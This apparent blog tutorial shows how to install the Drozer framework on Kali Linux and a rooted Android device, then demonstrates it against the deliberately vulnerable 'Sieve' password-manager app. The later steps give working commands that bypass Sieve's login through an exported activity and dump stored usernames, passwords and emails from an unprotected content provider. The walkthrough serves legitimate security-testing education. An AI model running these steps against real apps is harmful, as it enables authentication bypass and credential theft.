Quick Demo on Performing Dynamic Analysis for Android App

Quick Demo on Performing Dynamic Analysis for Android App

Drozer is a comprehensive security audit and attack framework for Android, which is friendly to perform dynamic analysis on Android app.

Two prerequisites for performing this quick demo:

  • Kali Linux
  • A rooted Android device (It could be Android Virtual Device – AVD, but physical Android device is used in this demo)

Installing the Drozer Console into Kali

  1. (Skip this step, if adb has been installed already) Install ADB tool

    sudo apt-get install android-tools-adb

  2. Install Drozer’s dependencies

    wget https://pypi.python.org/packages/25/5d/cc55d39ac39383dd6e04ae80501b9af3cc455be64740ad68a4e12ec81b00/setuptools-0.6c11-py2.7.egg#md5=fe1f997bc722265116870bc7919059ea

    (It you can’t use wget to get the file, please go to https://pypi.python.org/pypi/setuptools/0.6c11 to download the file “setuptools-0.6c11-py2.7.egg” via browser)
    20170628-01

    sh setuptools-0.6c11-py2.7.egg

    easy_install –allow-hosts pypi.python.org protobuf

    easy_install twisted==10.2.0

    20170628-02

  3. Install Drozer

    wget https://github.com/mwrlabs/drozer/releases/download/2.4.2/drozer-2.4.2-py2.7.egg

    easy_install ./drozer-2.4.2-py2.7.egg

    20170628-03

  4. Test the installation

    drozer

    20170628-04
    The above screen indicates the success of the console installation.

Installing the Drozer Agent into rooted Android device

  1. Make sure your rooted Android device has “Developer options” enabled with the following settings:
    Root access: Apps and ADB
    Android debugging: On
    ADB over network: On {ADB over USB could be used as well, but for some situations, some Android device vendor ID is not recognized by ADB tool. ADB over network could prevent this kind of connection issue.}20170628-05
  2. In Kali Linux, try to make a ADB connection to the rooted Android device

    adb connect 192.168.137.219

    20170628-05

    During establishing the ADB connection, please authorize it from your rooted Android device
    20170628-07

    Verify the ADB connection afterwards

    adb devices

    20170628-08

  3. Deploy the Drozer agent to the rooted Android device

    adb install agent.apk

    20170628-09

    20170628-10

Establish Drozer Session

  1. In Kali, port forward to a TCP socket opened by the Drozer Agent

    adb forward tcp:31415 tcp:31415

    20170628-10

  2. Launch the Drozer agent in the rooted Android device and select the “Embedded Server” option and tap “Enable” to start the server
    20170628-11
  3. Connect the console to the agent

    drozer console connect

    20170628-11

Basic Usage Demo

  1. (Skip this step, if target app is already in place) Install a dummy app named “Sieve” (Password Manager), which showcase some common Android vulnerabilities

    wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

    adb install sieve.apk

    20170628-12
    20170628-13
    20170628-19
    Let’s play with the newly installed “Sieve” and enter some dummy information for testing.

  2. Find the identifier for “Sieve”

    run app.package.list -f sieve

    20170628-13

  3. Check the basic package information about “Sieve”

    run app.package.info -a com.mwr.example.sieve

    20170628-14

  4. Identify the Attack Surface of “Sieve”

    run app.package.attacksurface com.mwr.example.sieve

    20170628-15
    Attack Surface means those interfaces could be accessible (i.e. exported) to other apps:
    activities -> screens used by the app
    content providers -> database objects of the app
    services -> background tasks (Besides, the service of “Sieve” is debuggable, which means that a debugger could be attached to the process)

  5. Gather more information on activities

    run app.activity.info -a com.mwr.example.sieve

    20170628-16
    Since activities is exported and does not require any permission, let’s try to launch to launch the activity “com.mwr.example.sieve.PWList”

    run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList

    20170628-17
    20170628-22
    The authentication of “Sieve” has been successfully bypassed!

  6. Gather more information on content providers (i.e. database objects)

    run app.provider.info -a com.mwr.example.sieve

    20170628-20
    It confirms that these content providers do not require any particular permission to interact with them, except for the path “/Keys” in the “DBContentProvider”.

    As the content provider is named “DBContentProvider”, it may indicate some form of database could be located in its backend. The URIs to access the DBContentProvider needed to be identified.

    run scanner.provider.finduris -a com.mwr.example.sieve

    20170628-21
    Let’s retrieve information from those accessible URIs.

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/

    20170628-22
    A list of usernames, password (Base64-encoded) and email from “Sieve” could be retrieved.

Conclusion

  • Drozer is user friendly and easy to identify potential vulnerabilities in Android app
  • This demo only covers part of the features of Drozer, please explore more on your own. You could even customized your own module for Drozer to perform your own checking

 

Thanks for reading!

Best regards
Henry